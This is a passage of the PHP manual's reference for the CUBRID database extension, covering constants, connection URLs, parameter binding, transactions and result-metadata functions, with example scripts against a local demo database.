TRAN_REP_CLASS_COMMIT_INSTANCE | A relatively low isolation level (4). A dirty read does not occur, but non-repeatable or phantom read may.
TRAN_REP_CLASS_REP_INSTANCE | A relatively high isolation level (5). A dirty or non-repeatable read does not occur, but a phantom read may.
TRAN_SERIALIZABLE | The highest isolation level (6). Problems concerning concurrency (e.g. dirty read, non-repeatable read, phantom read, etc.) do not occur.

The following constants can be used when getting schema information. They can be passed to cubrid_schema().

CUBRID schema flags
Constant | Description
CUBRID_SCH_CLASS | Get name and type of table in CUBRID.
CUBRID_SCH_VCLASS | Get name and type of view in CUBRID.
CUBRID_SCH_QUERY_SPEC | Get the query definition of view.
CUBRID_SCH_ATTRIBUTE | Get the attributes of table column.
CUBRID_SCH_CLASS_ATTRIBUTE | Get the attributes of table.
CUBRID_SCH_METHOD | Get the instance method. The instance method is a method called by a class instance. It is used more often than the class method because most operations are executed in the instance.
CUBRID_SCH_CLASS_METHOD | Get the class method. The class method is a method called by a class object. It is usually used to create a new class instance or to initialize it. It is also used to access or update class attributes.
CUBRID_SCH_METHOD_FILE | Get the information of the file where the method of the table is defined.
CUBRID_SCH_SUPERCLASS | Get the name and type of table which table inherites attributes from.
CUBRID_SCH_SUBCLASS | Get the name and type of table which inherites attributes from this table.
CUBRID_SCH_CONSTRAINT | Get the table constraints.
CUBRID_SCH_TRIGGER | Get the table triggers.
CUBRID_SCH_CLASS_PRIVILEGE | Get the privilege information of table.
CUBRID_SCH_ATTR_PRIVILEGE | Get the privilege information of column.
CUBRID_SCH_DIRECT_SUPER_CLASS | Get the direct super table of table.
CUBRID_SCH_PRIMARY_KEY | Get the table primary key.
CUBRID_SCH_IMPORTED_KEYS | Get imported keys of table.
CUBRID_SCH_EXPORTED_KEYS | Get exported keys of table.
CUBRID_SCH_CROSS_REFERENCE | Get reference relationship of tow tables.

The following constants can be used when reporting errors. They can be returned from cubrid_error_code_facility().

CUBRID error facility code
Constant | Description
CUBRID_FACILITY_DBMS | The error occurred in CUBRID dbms.
CUBRID_FACILITY_CAS | The error occurred in CUBRID broker cas.
CUBRID_FACILITY_CCI | The error occurred in CUBRID cci.
CUBRID_FACILITY_CLIENT | The error occurred in CUBRID PHP client.

User Contributed Notes

There are no user contributed notes for this page.


Examples

The following is a simple example that establishes a connection between PHP and CUBRID. This section will cover the most basic and notable features. The following code required to connect to CUBRID database, which means CUBRID Server and CUBRID Broker have to be running.

The example below uses the demodb database as an examples. By default it is created during the installation. Make sure it has been created.

Example #1 Example of Data Retrieval

<html>
    <head>
    <meta http-equiv="content-type" content="text/html; charset=euc-kr">
    </head>
    <body>
    <center>
    <table border=2>
    <?php
        /**
         * Set server information for CUBRID connection. host_ip is the IP
         * address where the CUBRID Broker is installed (localhost in this
         * example), and host_port is the port number of the CUBRID Broker.
         * The port number is the default given during the installation.
         * For details, see "Administrator's Guide."
         */
        $host_ip = "localhost";
        $host_port = 33000;
        $db_name = "demodb";
        /**
         * Connect to CUBRID Server. Do not make the actual connection, but
         * only retain the connection information. The reason for not making
         * the actual connection is to handle transaction more efficiently
         * in the 3-tier architecture.
         */
        $cubrid_con = @cubrid_connect($host_ip, $host_port, $db_name);

        if (!$cubrid_con) {
            echo "Database Connection Error";
            exit;
        }
    ?>
    <?php
        $sql = "select sports, count(players) as players from event group by sports";
        /**
         * Request the CUBRID Server for the results of the SQL statement.
         * Now make the actual connection to the CUBRID Server.
         */
        $result = cubrid_execute($cubrid_con, $sql);

        if ($result) {
            /**
             * Get the column names from the result set created by the SQL query.
             */
            $columns = cubrid_column_names($result);
            /**
             * Get the number of columns in the result set created by the SQL query.
             */
            $num_fields = cubrid_num_cols($result);
            /**
             * List the column names of the result set on the screen.
             */
            echo("<tr>");

            while (list($key, $colname) = each($columns)) {
                echo("<td align=center>$colname</td>");
            }

            echo("</tr>");

            /**
             * Get the results from the result set.
             */
            while ($row = cubrid_fetch($result)) {
                echo("<tr>");

                for ($i = 0; $i < $num_fields; $i++) {
                    echo("<td align=center>");
                    echo($row[$i]);
                    echo("</td>");
                }

                echo("</tr>");
            }
        }
        /**
         * The PHP module in the CUBRID runs in a 3-tier architecture. Even when
         * calling SELECT for transaction processing, it is processed as a part
         * of the transaction. Therefore, the transaction needs to be rolled back
         * by calling commit or rollback even though SELECT was called for smooth
         * performance.
         */
        cubrid_commit($cubrid_con);
        cubrid_disconnect($cubrid_con);
    ?>
    </body>
    </html>

Example #2 Example of Data Insertion

<html>
    <head>
    <meta http-equiv="content-type" content="text/html; charset=euc- kr">
    </head>
    <body>
    <center>
    <table border=2>
    <?php
        /**
         * host_ip is the IP address where the CUBRID Broker is installed
         * host_port is the port number of the CUBRID Broker
         * db_name is the name of CUBRID Database
         */
        $host_ip = "localhost";
        $host_port = 33000;
        $db_name = "demodb";
        $cubrid_con = @cubrid_connect($host_ip, $host_port, $db_name);

        if (!$cubrid_con) {
            echo "Database Connection Error";
            exit;
        }
    ?>
    <?php
        $sql = "insert into olympic (host_year,host_nation,host_city,"
            . "opening_date,closing_date) values (2008, 'China', 'Beijing',"
            . "to_date('08-08-2008','mm-dd- yyyy'),to_date('08-24-2008','mm-dd-yyyy')) ;"
        $result = cubrid_execute($cubrid_con, $sql);
        if ($result) {
            /**
             * Handled successfully, so commit.
             */
            cubrid_commit($cubrid_con);
            echo("Inserted successfully ");
        } else {
            /**
             * Error occurred, so the error message is output and rollback is called.
             */
            echo(cubrid_error_msg());
            cubrid_rollback($cubrid_con);
        }
        cubrid_disconnect($cubrid_con);
    ?>
    </body>
    </html>

User Contributed Notes

There are no user contributed notes for this page.


CUBRID Functions

Table of Contents

  • cubrid_bind — Bind variables to a prepared statement as parameters
  • cubrid_close_prepare — Close the request handle
  • cubrid_close_request — Close the request handle
  • cubrid_col_get — Get contents of collection type column using OID
  • cubrid_col_size — Get the number of elements in collection type column using OID
  • cubrid_column_names — Get the column names in result
  • cubrid_column_types — Get column types in result
  • cubrid_commit — Commit a transaction
  • cubrid_connect_with_url — Establish the environment for connecting to CUBRID server
  • cubrid_connect — Open a connection to a CUBRID Server
  • cubrid_current_oid — Get OID of the current cursor location
  • cubrid_disconnect — Close a database connection
  • cubrid_drop — Delete an instance using OID
  • cubrid_error_code_facility — Get the facility code of error
  • cubrid_error_code — Get error code for the most recent function call
  • cubrid_error_msg — Get last error message for the most recent function call
  • cubrid_execute — Execute a prepared SQL statement
  • cubrid_fetch — Fetch the next row from a result set
  • cubrid_free_result — Free the memory occupied by the result data
  • cubrid_get_autocommit — Get auto-commit mode of the connection
  • cubrid_get_charset — Return the current CUBRID connection charset
  • cubrid_get_class_name — Get the class name using OID
  • cubrid_get_client_info — Return the client library version
  • cubrid_get_db_parameter — Returns the CUBRID database parameters
  • cubrid_get_query_timeout — Get the query timeout value of the request
  • cubrid_get_server_info — Return the CUBRID server version
  • cubrid_get — Get a column using OID
  • cubrid_insert_id — Return the ID generated for the last updated AUTO_INCREMENT column
  • cubrid_is_instance — Check whether the instance pointed by OID exists
  • cubrid_lob_close — Close BLOB/CLOB data
  • cubrid_lob_export — Export BLOB/CLOB data to file
  • cubrid_lob_get — Get BLOB/CLOB data
  • cubrid_lob_send — Read BLOB/CLOB data and send straight to browser
  • cubrid_lob_size — Get BLOB/CLOB data size
  • cubrid_lob2_bind — Bind a lob object or a string as a lob object to a prepared statement as parameters.
  • cubrid_lob2_close — Close LOB object.
  • cubrid_lob2_export — Export the lob object to a file.
  • cubrid_lob2_import — Import BLOB/CLOB data from a file.
  • cubrid_lob2_new — Create a lob object.
  • cubrid_lob2_read — Read from BLOB/CLOB data.
  • cubrid_lob2_seek64 — Move the cursor of a lob object.
  • cubrid_lob2_seek — Move the cursor of a lob object.
  • cubrid_lob2_size64 — Get a lob object's size.
  • cubrid_lob2_size — Get a lob object's size.
  • cubrid_lob2_tell64 — Tell the cursor position of the LOB object.
  • cubrid_lob2_tell — Tell the cursor position of the LOB object.
  • cubrid_lob2_write — Write to a lob object.
  • cubrid_lock_read — Set a read lock on the given OID
  • cubrid_lock_write — Set a write lock on the given OID
  • cubrid_move_cursor — Move the cursor in the result
  • cubrid_next_result — Get result of next query when executing multiple SQL statements
  • cubrid_num_cols — Return the number of columns in the result set
  • cubrid_num_rows — Get the number of rows in the result set
  • cubrid_pconnect_with_url — Open a persistent connection to CUBRID server
  • cubrid_pconnect — Open a persistent connection to a CUBRID server
  • cubrid_prepare — Prepare a SQL statement for execution
  • cubrid_put — Update a column using OID
  • cubrid_rollback — Roll back a transaction
  • cubrid_schema — Get the requested schema information
  • cubrid_seq_drop — Delete an element from sequence type column using OID
  • cubrid_seq_insert — Insert an element to a sequence type column using OID
  • cubrid_seq_put — Update the element value of sequence type column using OID
  • cubrid_set_add — Insert a single element to set type column using OID
  • cubrid_set_autocommit — Set autocommit mode of the connection
  • cubrid_set_db_parameter — Sets the CUBRID database parameters
  • cubrid_set_drop — Delete an element from set type column using OID
  • cubrid_set_query_timeout — Set the timeout time of query execution
  • cubrid_version — Get the CUBRID PHP module's version

User Contributed Notes

There are no user contributed notes for this page.


Bind variables to a prepared statement as parameters

  • « CUBRID Functions
  • cubrid_close_prepare »
  • PHP Manual
  • CUBRID Functions
  • Bind variables to a prepared statement as parameters

cubrid_bind

(PECL CUBRID >= 8.3.0)

cubrid_bind — Bind variables to a prepared statement as parameters

Description

bool cubrid_bind ( resource $req_identifier , int $bind_index , mixed $bind_value [, string $bind_value_type ] )

The cubrid_bind() function is used to bind values to a corresponding named or question mark placeholder in the SQL statement that was passed to cubrid_prepare(). If bind_value_type is not given, string will be the default.

Note:

If the type of data to be bound is BLOB/CLOB, CUBRID will try to map the data as a PHP stream. If the actually bind value type is not stream, CUBRID will convert it to string, and use it as the full path and file name of a file on the client filesystem.

If the type of data to be bound explicitly is ENUM, the $bind_value argument should be the enum element which is in string format.

In CUBRID shard envrioment, the $bind_value_type must be included in the cubrid_bind function.

The following table shows the types of substitute values.

CUBRID Bind Date Types
Support | Bind Type | Corresponding SQL Type
Supported | STRING | CHAR, VARCHAR
 | NCHAR | NCHAR, NVARCHAR
 | BIT | BIT, VARBIT
 | NUMERIC or NUMBER | SHORT, INT, NUMERIC
 | FLOAT | FLOAT
 | DOUBLE | DOUBLE
 | TIME | TIME
 | DATE | DATE
 | TIMESTAMP | TIMESTAMP
 | OBJECT | OBJECT
 | ENUM | ENUM
 | BLOB | BLOB
 | CLOB | CLOB
 | NULL | NULL
Not supported | SET | SET
 | MULTISET | MULTISET
 | SEQUENCE | SEQUENCE

Parameters

req_identifier

Request identifier as a result of cubrid_prepare().

bind_index

Location of binding parameters. It starts with 1.

bind_value

Actual value for binding.

bind_value_type

A type of the value to bind. (It is omitted by default. Thus, the system internally uses string by default. However, you need to specify the exact type of the value as an argument when they are NCHAR, BIT, or BLOB/CLOB).

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Changelog

Version | Description
8.3.1 | Added BLOB/CLOB data types support.

Examples

Example #1 cubrid_bind() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$result = cubrid_execute($conn, "SELECT code FROM event WHERE sports='Basketball' and gender='M'");
$row = cubrid_fetch_array($result, CUBRID_ASSOC);
$event_code = $row["code"];

cubrid_close_request($result);

$game_req = cubrid_prepare($conn, "SELECT athlete_code FROM game WHERE host_year=1992 and event_code=? and nation_code='USA'");
cubrid_bind($game_req, 1, $event_code, "number");
cubrid_execute($game_req);

printf("--- Dream Team (1992 United States men's Olympic basketball team) ---\n");
while ($athlete_code = cubrid_fetch_array($game_req, CUBRID_NUM)) {
    $athlete_req = cubrid_prepare($conn, "SELECT name FROM athlete WHERE code=? AND nation_code='USA' AND event='Basketball' AND gender='M'");
    cubrid_bind($athlete_req, 1, $athlete_code[0], "number");
    cubrid_execute($athlete_req);
    $row = cubrid_fetch_assoc($athlete_req);
    printf("%s\n", $row["name"]);
}

cubrid_close_request($game_req);
cubrid_close_request($athlete_req);

cubrid_disconnect($conn);
?>

The above example will output:

--- Dream Team (1992 United States men's Olympic basketball team) ---
Stockton John
Robinson David
Pippen Scottie
Mullin C.
Malone Karl
Laettner C.
Jordan Michael
Johnson Earvin
Ewing Patrick
Drexler Clyde
Bird Larry
Barkley Charles

Example #2 cubrid_bind() BLOB/CLOB example

<?php
$con = cubrid_connect("localhost", 33000, "demodb", "dba", "");
if ($con) {
    cubrid_execute($con,"DROP TABLE if exists php_cubrid_lob_test");
    cubrid_execute($con,"CREATE TABLE php_cubrid_lob_test (doc_content CLOB)");
    $sql = "INSERT INTO php_cubrid_lob_test(doc_content) VALUES(?)";
    $req = cubrid_prepare($con, $sql);

    $fp = fopen("book.txt", "rb");

    cubrid_bind($req, 1, $fp, "clob");
    cubrid_execute($req);
}
?>

Example #3 cubrid_bind() BLOB/CLOB example

<?php
$con = cubrid_connect("localhost", 33000, "demodb", "dba", "");
if ($con) {
    cubrid_execute($con,"DROP TABLE if exists php_cubrid_lob_test");
    cubrid_execute($con,"CREATE TABLE php_cubrid_lob_test (image BLOB)");
    $sql = "INSERT INTO php_cubrid_lob_test(image) VALUES(?)";
    $req = cubrid_prepare($con, $sql);

    cubrid_bind($req, 1, "cubrid_logo.png", "blob");
    cubrid_execute($req);
}
?>

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_prepare() - Prepare a SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Close the request handle

  • « cubrid_bind
  • cubrid_close_request »
  • PHP Manual
  • CUBRID Functions
  • Close the request handle

cubrid_close_prepare

(PECL CUBRID >= 8.3.0)

cubrid_close_prepare — Close the request handle

Description

bool cubrid_close_prepare ( resource $req_identifier )

The cubrid_close_prepare() function closes the request handle given by the req_identifier argument, and releases the memory region related to the handle. It is an alias of cubrid_close_request().

Parameters

req_identifier

Request identifier.

Return Values

Return TRUE on success.

Examples

Example #1 cubrid_close_prepare() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb", "dba", "");
if ($con) {
   echo "connected successfully";
   $req = cubrid_execute ( $con, "select * from members",
                           CUBRID_INCLUDE_OID | CUBRID_ASYNC);
   if ($req) {
      while ( list ($id, $name) = cubrid_fetch ($req) ){
         echo $id;
         echo $name;
      }
      cubrid_close_prepare($req); // or you can use cubrid_close_request($req)
   }
   cubrid_disconnect($con);
}
?>

See Also

  • cubrid_close_request() - Close the request handle

User Contributed Notes

There are no user contributed notes for this page.


Close the request handle

  • « cubrid_close_prepare
  • cubrid_col_get »
  • PHP Manual
  • CUBRID Functions
  • Close the request handle

cubrid_close_request

(PECL CUBRID >= 8.3.0)

cubrid_close_request — Close the request handle

Description

bool cubrid_close_request ( resource $req_identifier )

The cubrid_close_request() function closes the request handle given by the req_identifier argument, and releases the memory region related to the handle. It is an alias of cubrid_close_prepare().

Parameters

req_identifier

Request identifier.

Return Values

Return TRUE on success.

Examples

Example #1 cubrid_close_request() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb", "dba", "");
if ($con) {
   echo "connected successfully";
   $req = cubrid_execute ( $con, "select * from members",
                           CUBRID_INCLUDE_OID | CUBRID_ASYNC);
   if ($req) {
      while ( list ($id, $name) = cubrid_fetch ($req) ){
         echo $id;
         echo $name;
      }
      cubrid_close_request($req); // or you can use cubrid_close_prepare($req)
   }
   cubrid_disconnect($con);
}
?>

See Also

  • cubrid_close_prepare() - Close the request handle

User Contributed Notes

There are no user contributed notes for this page.


Get contents of collection type column using OID

  • « cubrid_close_request
  • cubrid_col_size »
  • PHP Manual
  • CUBRID Functions
  • Get contents of collection type column using OID

cubrid_col_get

(PECL CUBRID >= 8.3.0)

cubrid_col_get — Get contents of collection type column using OID

Description

array cubrid_col_get ( resource $conn_identifier , string $oid , string $attr_name )

The cubrid_col_get() function is used to get contents of the elements of the collection type (set, multiset, sequence) attribute you requested as an array.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to read.

attr_name

Attribute name that you want to read from the instance.

Return Values

Array (0-based numerical array) containing the elements you requested, when process is successful;

FALSE (to distinguish the error from the situation of attribute having empty collection or NULL, in case of error, a warning message is shown; in such case you can check the error by using cubrid_error_code()), when process is unsuccessful.

Examples

Example #1 cubrid_col_get() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

$size = cubrid_col_size($conn, $oid, "b");
var_dump($size);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Get the number of elements in collection type column using OID

  • « cubrid_col_get
  • cubrid_column_names »
  • PHP Manual
  • CUBRID Functions
  • Get the number of elements in collection type column using OID

cubrid_col_size

(PECL CUBRID >= 8.3.0)

cubrid_col_size — Get the number of elements in collection type column using OID

Description

int cubrid_col_size ( resource $conn_identifier , string $oid , string $attr_name )

The cubrid_col_size() function is used to get the number of elements in a collection type (set, multiset, sequence) attribute.

Parameters

conn_identifier

Connection identifier.

oid

OID the instance that you want to work with.

attr_name

Name of the attribute that you want to work with.

Return Values

Number of elements, when process is successful.

FALSE, when process is unsuccessful.

Changelog

Version | Description
8.3.1 | Change return value: when process is unsuccessful, return false, not -1.

Examples

Example #1 cubrid_col_size() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

$size = cubrid_col_size($conn, $oid, "b");
var_dump($size);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Get the column names in result

  • « cubrid_col_size
  • cubrid_column_types »
  • PHP Manual
  • CUBRID Functions
  • Get the column names in result

cubrid_column_names

(PECL CUBRID >= 8.3.0)

cubrid_column_names — Get the column names in result

Description

array cubrid_column_names ( resource $req_identifier )

The cubrid_column_names() function is used to get the column names of the query result by using req_identifier.

Parameters

req_identifier

Request identifier.

Return Values

Array of string values containing the column names, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_column_names() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
    $column_len = cubrid_field_len($result, $i);
    printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

The above example will output:

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

See Also

  • cubrid_prepare() - Prepare a SQL statement for execution
  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_column_types() - Get column types in result

User Contributed Notes

There are no user contributed notes for this page.


Get column types in result

  • « cubrid_column_names
  • cubrid_commit »
  • PHP Manual
  • CUBRID Functions
  • Get column types in result

cubrid_column_types

(PECL CUBRID >= 8.3.0)

cubrid_column_types — Get column types in result

Description

array cubrid_column_types ( resource $req_identifier )

The cubrid_column_types() function gets column types of query results by using req_identifier.

Parameters

req_identifier

Request identifier.

Return Values

Array of string values containing the column names, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_column_types() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
    $column_len = cubrid_field_len($result, $i);
    printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

The above example will output:

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

See Also

  • cubrid_column_names() - Get the column names in result
  • cubrid_prepare() - Prepare a SQL statement for execution
  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Commit a transaction

  • « cubrid_column_types
  • cubrid_connect_with_url »
  • PHP Manual
  • CUBRID Functions
  • Commit a transaction

cubrid_commit

(PECL CUBRID >= 8.3.0)

cubrid_commit — Commit a transaction

Description

bool cubrid_commit ( resource $conn_identifier )

The cubrid_commit() function is used to execute commit on the transaction pointed by conn_identifier, currently in progress. Connection to the server is closed after the cubrid_commit() function is called; However, the connection handle is still valid.

In CUBRID PHP, auto-commit mode is disabled by default for transaction management. You can set it by using cubrid_set_autocommit(). You can get its status by using cubrid_get_autocommit(). Before you start a transaction, remember to disable the auto-commit mode.

Parameters

conn_identifier

Connection identifier.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_commit() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE publishers");

$sql = <<<EOD
CREATE TABLE publishers(
pub_id CHAR(3),
pub_name VARCHAR(20),
city VARCHAR(15),
state CHAR(2),
country VARCHAR(15)
)
EOD;
cubrid_set_autocommit($conn,false);
if (!cubrid_execute($conn, $sql)) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n", cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}

$req = cubrid_prepare($conn, "INSERT INTO publishers VALUES(?, ?, ?, ?, ?)");

$id_list = array("P01", "P02", "P03", "P04");
$name_list = array("Abatis Publishers", "Core Dump Books", "Schadenfreude Press", "Tenterhooks Press");
$city_list = array("New York", "San Francisco", "Hamburg", "Berkeley");
$state_list = array("NY", "CA", NULL, "CA");
$country_list = array("USA", "USA", "Germany", "USA");

for ($i = 0, $size = count($id_list); $i < $size; $i++) {
    cubrid_bind($req, 1, $id_list[$i]);
    cubrid_bind($req, 2, $name_list[$i]);
    cubrid_bind($req, 3, $city_list[$i]);
    cubrid_bind($req, 4, $state_list[$i]);
    cubrid_bind($req, 5, $country_list[$i]);

    if (!($ret = cubrid_execute($req))) {
        break;
    }
}

if (!$ret) {
    cubrid_rollback($conn);
} else {
    cubrid_commit($conn);

    $req = cubrid_execute($conn, "SELECT * FROM publishers");
    while ($result = cubrid_fetch_assoc($req)) {
        printf("%-3s %-20s %-15s %-3s %-15s\n",
            $result["pub_id"], $result["pub_name"], $result["city"], $result["state"], $result["country"]);
    }
}

cubrid_disconnect($conn);
?>

The above example will output:

P01 Abatis Publishers    New York        NY  USA
P02 Core Dump Books      San Francisco   CA  USA
P03 Schadenfreude Press  Hamburg             Germany
P04 Tenterhooks Press    Berkeley        CA  USA

See Also

  • cubrid_rollback() - Roll back a transaction
  • cubrid_get_autocommit() - Get auto-commit mode of the connection
  • cubrid_set_autocommit() - Set autocommit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.


Establish the environment for connecting to CUBRID server

  • « cubrid_commit
  • cubrid_connect »
  • PHP Manual
  • CUBRID Functions
  • Establish the environment for connecting to CUBRID server

cubrid_connect_with_url

(PECL CUBRID >= 8.3.1)

cubrid_connect_with_url — Establish the environment for connecting to CUBRID server

Description

resource cubrid_connect_with_url ( string $conn_url [, string $userid [, string $passwd [, bool $new_link = false ]]] )

The cubrid_connect_with_url() function is used to establish the environment for connecting to your server by using connection information passed with an url string argument. If the HA feature is enabled in CUBRID, you must specify the connection information of the standby server, which is used for failover when failure occurs, in the url string argument of this function. If the user name and password is not given, then the "PUBLIC" connection will be made by default.

<url> ::= CUBRID:<host>:<db_name>:<db_user>:<db_password>:[?<properties>]

<properties> ::= <property> [&<property>]

<properties> ::= alhosts=<alternative_hosts>[ &rctime=<time>]

<properties> ::= login_timeout=<milli_sec>

<properties> ::= query_timeout=<milli_sec>

<properties> ::= disconnect_on_query_timeout=true|false

<alternative_hosts> ::= <standby_broker1_host>:<port> [,<standby_broker2_host>:<port>]

<host> := HOSTNAME | IP_ADDR

<time> := SECOND

<milli_sec> := MILLI SECOND

  • host : A host name or IP address of the master database
  • db_name : A name of the database
  • db_user : A name of the database user
  • db_password : A database user password
  • alhosts : Specifies the broker information of the standby server, which is used for failover when it is impossible to connect to the active server. You can specify multiple brokers for failover, and the connection to the brokers is attempted in the order listed in alhosts
  • rctime : An interval between the attempts to connect to the active broker in which failure occurred. After a failure occurs, the system connects to the broker specified by althosts (failover), terminates the transaction, and then attempts to connect to the active broker of the master database at every rctime. The default value is 600 seconds.
  • login_timeout : Timeout value (unit: msec.) for database login. The default value is 0, which means infinite postponement.
  • query_timeout : Timeout value (unit: msec.) for query request. Upon timeout, a message to cancel requesting a query transferred to server is sent. The return value can depend on the disconnect_on_query_timeout configuration; even though the message to cancel a request is sent to server, that request may succeed.
  • disconnect_on_query_timeout : Configures a value whether to immediately return an error of function being executed upon timeout. The default value is false.

Note:

? and : that are used as identifiers in PHP connection URL can't be included in the password. The following is an example of a password that is invalid to use as connection URL because it contains "?:".

$url = "CUBRID:localhost:33000:tdb:dba:12?:?login_timeout=100";

Passwords that contain ? or : may be passed as a separate parameter.

$url = "CUBRID:localhost:33000:tbd:::?login_timeout=100";

$conn = cubrid_connect_with_url($url, "dba", "12?");

If user or password is empty,you can't delete ":",the following is an example.

$url = "CUBRID:localhost:33000:demodb:::";

Parameters

conn_url

A character string that contains server connection information.

userid

User name for the database.

passwd

User password.

new_link

If a second call is made to cubrid_connect_with_url() with the same arguments, no new connection will be established, but instead, the connection identifier of the already opened connection will be returned. The new_link parameter modifies this behavior and makes cubrid_connect_with_url() always open a new connection, even if cubrid_connect_with_url() was called before with the same parameters.

Return Values

Connection identifier, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_connect_with_url() url without properties example

<?php
$conn_url = "CUBRID:localhost:33000:demodb:dba::";
$con = cubrid_connect_with_url($conn_url);

if ($con) {
   echo "connected successfully";
   cubrid_execute($con, "create table person(id int,name char(16))");
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request($req);
      cubrid_commit($con);
   } else {
      cubrid_rollback($con);
   }
   cubrid_disconnect($con);
}
?>

Example #2 cubrid_connect_with_url() url with properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::?login_timeout=100"
$con = cubrid_connect_with_url ($conn_url);

if ($con) {
   echo "connected successfully";
   cubrid_execute($con, "create table person(id int,name char(16))");
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request($req);
      cubrid_commit($con);
   } else {
      cubrid_rollback($con);
   }
   cubrid_disconnect($con);
}
?>

See Also

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Open a connection to a CUBRID Server

  • « cubrid_connect_with_url
  • cubrid_current_oid »
  • PHP Manual
  • CUBRID Functions
  • Open a connection to a CUBRID Server

cubrid_connect

(PECL CUBRID >= 8.3.1)

cubrid_connect — Open a connection to a CUBRID Server

Description

resource cubrid_connect ( string $host , int $port , string $dbname [, string $userid [, string $passwd [, bool $new_link = false ]]] )

The cubrid_connect() function is used to establish the environment for connecting to your server by using your server address, port number, database name, user name, and password. If the user name and password is not given, then the "PUBLIC" connection will be made by default.

Parameters

host

Host name or IP address of CUBRID CAS server.

port

Port number of CUBRID CAS server (BROKER_PORT configured in $CUBRID/conf/cubrid_broker.conf).

dbname

Name of database.

userid

User name for the database. If not given, the default value is "public".

passwd

User password. If not given, the default value is "".

new_link

If a second call is made to cubrid_connect() with the same arguments, no new connection will be established, but instead, the connection identifier of the already opened connection will be returned. The new_link parameter modifies this behavior and makes cubrid_connect() always open a new connection, even if cubrid_connect() was called before with the same parameters.

Return Values

Connection identifier, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_connect() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

